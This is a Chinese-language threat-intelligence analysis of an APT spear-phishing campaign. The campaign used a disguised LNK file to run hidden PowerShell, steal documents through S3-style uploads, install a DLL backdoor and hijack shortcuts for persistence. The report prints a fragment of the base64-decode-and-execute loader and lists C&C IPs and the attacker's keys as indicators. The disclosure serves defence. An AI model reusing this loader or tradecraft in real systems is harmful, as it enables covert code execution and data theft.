360公司在2018年7月5日首次對外公開了一個從2011年開始持續近8年針對我國政府、軍工、科研、金融等重點單位和部門進行網絡間諜活動的高級攻擊組織-藍寶菇(APT-C-12),該組織的活動在近幾個月內呈現非?;钴S的狀態。本文作為前期組織揭露報告的補充,詳述藍寶菇組織在近期攻擊活動的技術細節,希望安全業界了解其攻擊手法共同完善拼圖,輸出防御方案聯合起來對抗這個國家級的威脅。
2018年4月以來,360安全監測與響應中心和360威脅情報中心在企業機構的協同下發現了一批針對性的魚叉攻擊,攻擊者通過誘導攻擊對象打開魚叉郵件云附件中的LNK文件來執行惡意PowerShell腳本收集上傳用戶電腦中的敏感文件,并安裝持久化后門程序長期監控用戶計算機。該攻擊過程涉及一些新穎的LNK利用方式,使用了AWS S3協議和云服務器通信來偷取用戶的敏感資料,在此我們分析并公開整個攻擊過程。
360威脅情報中心確認多個政企機構的外部通信郵箱被投遞了一份發自boaostaff[@]163.com的魚叉郵件,釣魚郵件仿冒博鰲亞洲論壇向攻擊對象發送了一封邀請函:
郵件附件被放到163的云附件里,此附件即為攻擊者的惡意Payload,這是一個通過RAR打包的快捷方式樣本。接下來我們對同一波攻擊中的另一個完全相同功能的樣本進行詳細分析,以梳理整個攻擊過程。
附件內容如下:一旦攻擊對象被誘導打開該LNK快捷方式文件,LNK文件便會通過執行文件中附帶的PowerShell惡意腳本來收集上傳用戶電腦中的敏感文件,并安裝持久化后門程序長期監控用戶計算機。
附件壓縮包內包含一個LNK文件,名字為:《政法網絡輿情》會員申請.lnk,查看LNK文件對應的目標如下:
可以看到目標中并沒有任何可見字符,使用二進制分析工具查看LNK文件可以看到PowerShell相關的字符串,以及很多Unicode不可見字符:
通過分析LNK文件格式中幾個比較重要的結構,完整還原出樣本真實執行的惡意目標,其中涉及3個LNK文件格式的重要結構:LinkTargetIDList、COMMAND_LINE_ARGUMENTS和EnvironmentVarableDataBlock。
CLSID_MyComputer\C:\Windows\system32\windOW~1\V1.0\POwersHELl.exe |
通過調試可以看到目標路徑和LinkTargetIDList拼接出來的結果一致:
樣本中的目標程序參數則為具體需要執行的PowerShell惡意代碼,另外由于在參數中包含了大量的不可顯示Unicode字符,從而導致右鍵打開快捷方式時目標中并不會包含對應的PowerShell代碼:
該值設置后會導致具體的快捷方式中的目標被設置為對應的EnvironmentVarableDataBlock值,但是需要注意的是,樣本中EnvironmentVarableDataBlock對實際的程序調用并不起作用(刪除并不影響最終的樣本啟動),最終Shell32.dll靠解析LInkTargetIDList數組來啟動PowerShell。
解密PowerShell腳本
將LNK文件指向執行的PowerShell腳本解密,該PowerShell命名為ps_origin,代碼如下:
-join$a=$host.ui.rawui.windowtitle; //獲取當前窗口的標題名
If(!$a.endswith(‘.lnk’)) //找到lnk文件 {$a+=’.lnk’} $a=gi $a; //Get-Item q64 (gc $a|select -l 1); //定位到最后一行,base64解密并執行 Function q64 { param($6); iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))} q64 $o-C:\Windows\System32\shell32.dll |
PowerShell腳本會定位執行LNK文件的最后一行,文件的最后一行如下:
文件最后一行經過Base64編碼,解碼后的數據為[壓縮包+PowerShell腳本]的形式:
將最后的PowerShell腳本解密后如下(名稱為ps_start):
被解密后的LNK文件最后一行中的PowerShell腳本中的ps_start會被首先執行,該PowerShell腳本主要用于解壓出后續的壓縮包,并繼續運行其中的腳本,同時壓縮包包含了相應的文件竊取模塊,如下圖所示腳本通過[convert]::frombase64string((gc $a|select -l 2|select -f 1)));以Base64解密出對應的壓縮包文件,之后使用Rundll32加載其中beoql.g后門文件(加載函數為DllRegister),同時將一段PowerShell腳本作為參數傳入,該PowerShell命名為ps_loader:
壓縮包解壓后包含名為beoql.g的DLL后門、合法的Rar.exe壓縮工具、以及真實呈現給用戶的誘惑性DOC文檔:
159.65.127.93
139.59.238.1
138.197.142.236若確認C&C存活,則通過命令行收集系統的基本信息:
命令 | 描述 |
Ipconfig /all | IP地址信息 |
Netstat -a | 相關網絡連接信息 |
Arp -a | ARP table信息 |
Desktop files | 桌面文件 |
programfiles | Programfiles文件 |
Programfiles x86 | Programfiles文件 |
腳本獲取基本信息后,再通過Rar.exe壓縮為start.rar文件,之后使用RSA算法加密一個隨機字符串e,秘鑰如下:
<RSAKeyValue><Modulus>3w2Aa8octWRTs8/FhG9TxNHVOK+7L4RpX1iHY5mCkqbWwIomgpsEGvFqN3C9P1G/Yu+FV29BSlWHI6cUd7d8OK6AJD6vdF6uvoITVEsvPCkhwypZ+gbjkDirLGHI6wtTD4FF0X+EH7S6xBGqSHbOg+abDS3KlkMkwIzx5vhlbCUkckJFj31zmapLGIn4nTWybfP4nAhMuGGGvamXyQ+y4rrqTUPm1vU0GQh1zT2J9Ce204WubUlyhMMIhvAeOQ0TMKEVoCdU9yrRfj1rc36HYCO/RysGpKfx+mGcIWvPBXywXFuxEiGSqkk4jCf7Gh3eehfa98gmYuYChRP6CtoL8Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue> |
該隨機字符串為之后上傳文件的RAR加密密碼,腳本會將該加密后的字符保存成id.rar文件,并通過函數pv9上傳start.rar及id.rar文件到攻擊者的云服務器中:最后腳本會遍歷系統中指定的后綴文件(jpg,txt,eml,doc,xls,ppt,pdf,wps,wpp,et,只獲取180天以內的文件),繼續使用Rar.exe壓縮獲取的指定文件,密碼為之前生成的變量e:
而函數pv9會將對應的RAR文件通過AWS S3 存儲協議上傳到一個網上的云服務商的地址:0123.nyc3.digitaloceanspaces.com,代碼中包含的ACCESS_KEY和SECRET_KEY疑似亞馬遜S3云服務存儲協議所使用的相關KEY信息:
Amazon S3相關介紹:
樣本中使用該協議不過是添加一些跟服務端協商的請求頭,請求頭的value是用AWS s3 V4簽名算法算出來的,一個標準的請求頭如下所示:
一次通信流程由上圖代碼紅框中的函數ul3和ig3完成,其中ul3用于配置生成對應的請求頭,ig3完成文件的上傳。而ul3中用于封裝請求,aws3對應的請求頭如下圖為其中的$9,其中一個重要的參數為Signature,由函數a53,e77共同生成,之后$9會封裝到$g中,$g作為最終的請求頭返回:
最終完成上傳文件:
ps_loader
ps_start中加載執行DLL后門后會從內置的三個IP地址中選擇一個作為C&C,再次下載一段PowerShell,此處稱之為ps_loader:ps_loader會首先生成用于請求的對應的us及Cookie字段,具體請求如下所示,可以看到返回的數據是一系列的十進制字符:
接著對返回數據進行簡單的初始化后,通過函數sj8對數據進行解密,可以看到攻擊者使用了whatthefuckareyoudoing這個極富外國色彩的調侃俚語作為秘鑰:
解碼后的內容也是一段PowerShell,此處命名為ps_backdoor,ps_backdoor會調用其對應的函數ROAGC:
ps_backdoor
ps_backdoor腳本為一段PowerShell后門,其主功能函數ROAGC的各參數對應的含義為:
參數1:周期,此處為10
參數2:id,此處為zhengyi5
參數3:IP/Port二元組
參數4:對應加密KEY
命令 | 描述 |
rs | 執行CMD命令 |
up | 上傳文件 |
dw | 下載文件 |
該腳本還支持CMD命令功能,除了Windows外,還支持Linux下的命令執行:
命令 | 描述 |
ls/dir | 目錄操作 |
mv/move/copy/cp/rm/del/rmdir | 文件操作 |
cd | |
Ipconfig/ifconfig | 網絡相關 |
ps/tasklist | 進程信息獲取 |
whoami/getuid | 用戶信息獲取 |
rteboot/restart | 開關機 |
上傳下載的通信流量通過AES進行了處理,KEY為ps_loader中傳入的Dqd6lfRDcXK2KxIFDqU1S/MMyxGJ7qPIwM/xZe0R6Ps=:
ps_start腳本會使用Rundll32.exe加載執行樣本中解壓出來的beoql.g后門文件,該DLL為一個實現惡意代碼持久化加載的模塊,用于加載ps_loader,并通過修改LNK文件來實現持久化,其導出的函數如下所示:通過分析,DLL具體函數功能如下:
函數 | 功能 |
DllEntry | 用于啟動PowerShell |
DllRegister | 初始函數,用于保存傳入的PowerShell,調用DllEntry啟動PowerShell,調用DllInstall生成并啟動用于修改系統LNK文件的BAT腳本 |
DllInstall | 生成并啟動用于修改系統LNK文件的BAT腳本 |
DllCanUnload | |
DllSetClassObject | 被BAT腳本調用用于修改LNK文件 |
DllUnsetClassObject | 還原LNK文件 |
DllCopyClassObject | 被BAT腳本調用用于拷貝LNK文件到臨時目錄下 |
DllEntryPoint | Dll入口 |
另外,ps_start中會直接調用該DLL的導出函數DllRegister,參數為對應的ps_loader腳本,函數首先會將ps_loader加密保存為beoql.g.ini,之后調用DllEntry和fun_Callinstall:beoql.g.ini加密保存的PowerShell如下所示:
DllEntry被調用首先會通過CMD命令刪除相關的金山的安全組件:
之后通過CreateProcess函數啟動ps_loader腳本:
fun_Callinstall中解密出對應的加密字符,字符串為通過Rundll32.exe 調用導出函數DllInstall:
具體如下所示:
DllInstall函數首先遍歷多個目錄下的LNK文件:
之后生成nview32_update.bat腳本,并運行:
nview32_update.bat腳本執行后會檢測并刪除WPS的相關組件,之后對前面遍歷獲取的LNK文件進行修改操作:
首先通過調用導出函數DllCopyClassObject將該LNK文件拷貝到臨時目錄,再通過函數DllSetClassObject修改%temp%目錄下的LNK文件,最后將修改過的LNK文件拷貝覆蓋回去:DllSetClassObject中通過函數fun_Changelnk修改默認的LNK文件:
修改過的LNK文件以多個感嘆號分割:
具體效果如下所示,LNK快捷方式文件被修改為通過Rundll32.exe調用該DLL的DllEntry函數,該函數的主要功能如前文所示用于運行對應的ps_loader腳本,通過劫持LNK快捷方式文件來起到持久化的作用:
根據360網絡安全研究院的全網數據抽樣統計,對攻擊者使用的兩個云服務域名地址(子域名分別為0123和05011)的訪問分別集中在4月和5月,這和我們捕獲到的樣本時間段完全一致,也就是說藍寶菇APT組織在這兩個月內使用本文描述的攻擊方式進行了大量針對性的攻擊:
由于惡意樣本會將竊取的用戶數據通過Amazon S3云存儲協議上傳到攻擊者的云服務器中,360威脅情報中心通過對AWS S3服務通信機制的深入解析,結合樣本分析得到的數據模擬通信成功獲取部分攻擊者攻擊過程中產生的中間數據,其中包括攻擊對象的計算機名、被攻擊時間等信息。數據顯示僅一天時間內就有數個受害人員的信息被上傳到服務器,整波攻擊活動期間評估受控人員數量在百級。
威脅情報在攻防對抗中發揮著越來越重要的作用,威脅情報不是簡單的從blog、twitter等公開渠道獲得開源情報。從本次事件中可以看出,只有具備扎實的安全能力、建立強大的數據基礎并對威脅情報涉及的采集、處理、分析、發布、反饋等一系列的環節進行較長時期的投入建設,才能獲得基于威脅情報的檢測、分析、響應、預警等關鍵的安全能力。
目前,基于360威脅情報中心的威脅情報數據的全線產品,包括360威脅情報平臺(TIP)、天眼高級威脅檢測系統、360 NGSOC等,都已經支持對此APT攻擊團伙攻擊活動的實時檢測和相關未知攻擊的預警。
C&C IP |
159.65.127.93 |
139.59.238.1 |
138.197.142.236 |
攻擊者云服務地址 |
0123.nyc3.digitaloceanspaces.com |
05011.nyc3.digitaloceanspaces.com |
[1].https://github.com/minio/minio-py
[2].https://docs.minio.io/docs/python-client-quickstart-guide
[3].https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/Introduction.html
[4].https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/API/sig-v4-authenticating-requests.html
[5].https://developers.digitalocean.com/documentation/spaces/#authentication
[6].http://developer.huawei.com/ict/cn/doc/Object_Storage_Service_API_zh_p/zh-cn_topic_0016616545.html
暫無信息
地址:廣東省惠州市惠城區東平半島惠州大道20號賽格大廈1608號
電話:0752-2072178 傳真:0752-2072168-0 郵箱:gdoudi@ouditech.com廣東歐迪科技有限公司 版權所有
Copyright ©2020 Guangdong Oudi Technology Corporation All Rights Reserved.
粵ICP備16018732號-1